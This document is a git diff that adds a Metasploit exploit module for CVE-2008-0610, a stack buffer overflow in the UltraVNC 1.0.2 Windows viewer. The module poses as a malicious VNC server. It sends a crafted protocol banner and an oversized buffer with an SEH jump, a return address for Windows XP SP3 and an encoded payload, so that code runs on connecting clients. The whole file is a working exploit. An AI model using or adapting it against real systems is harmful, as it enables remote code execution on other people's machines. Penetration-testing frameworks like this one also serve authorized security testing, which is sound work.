diff --git a/modules/exploits/windows/vnc/cve-2008-0610.rb b/modules/exploits/windows/vnc/cve-2008-0610.rb new file mode 100644 index 0000000000..dba627c3ed --- /dev/null +++ b/modules/exploits/windows/vnc/cve-2008-0610.rb @@ -0,0 +1,79 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::TcpServer + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'UltraVNC 1.0.2 Client Buffer Overflow', + 'Description' => %q{ + This module exploits a buffer overflow in UltraVNC Win32 + Viewer 1.0.2 Release. + + If a malicious server responds to a client connection indicating a minor + protocol version of 14 or 16, a 32-bit integer is subsequently read from + the TCP stream by the client and directly provided as the trusted size for + further reading from the TCP stream into a 1024-byte character array on + the stack. + }, + 'Author' => 'noperand', + 'License' => MSF_LICENSE, + 'Version' => '$Revision$', + 'References' => + [ + [ 'CVE', '2008-0610' ], + [ 'OSVDB', '42840' ], + [ 'BID', '27561' ], + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + }, + 'Payload' => + { + 'Space' => 500, + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Windows XP SP3', { 'Ret' => 0x00421a61 } ], + ], + 'Privileged' => false, + 'DisclosureDate' => 'Feb 6 2008', + 'DefaultTarget' => 0)) + + register_options( + [ + OptPort.new('SRVPORT', [ true, "The VNCServer daemon port to listen on", 5900 ]) + ], self.class) + end + + def on_client_connect(client) + return if ((p = regenerate_payload(client)) == nil) + + sploit = rand_text_alpha(1100) # junk, could be more efficient here + sploit << "\x00\x04\x00\x00" # value to get around a write + sploit << rand_text_alpha(12) # random junk + sploit << "\xEB\x06\x90\x90" # short relative jump + sploit << [target.ret].pack('V') # pop/pop/ret (default is in vncviewer) + sploit << payload.encoded + + sploit = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x31\x36\x0a" << [sploit.length].pack('N') << sploit + + print_status("Sending #{sploit.length} bytes to #{client.getpeername}:#{client.peerport}...") + client.put(sploit) + handler(client) + service.close_client(client) + end +end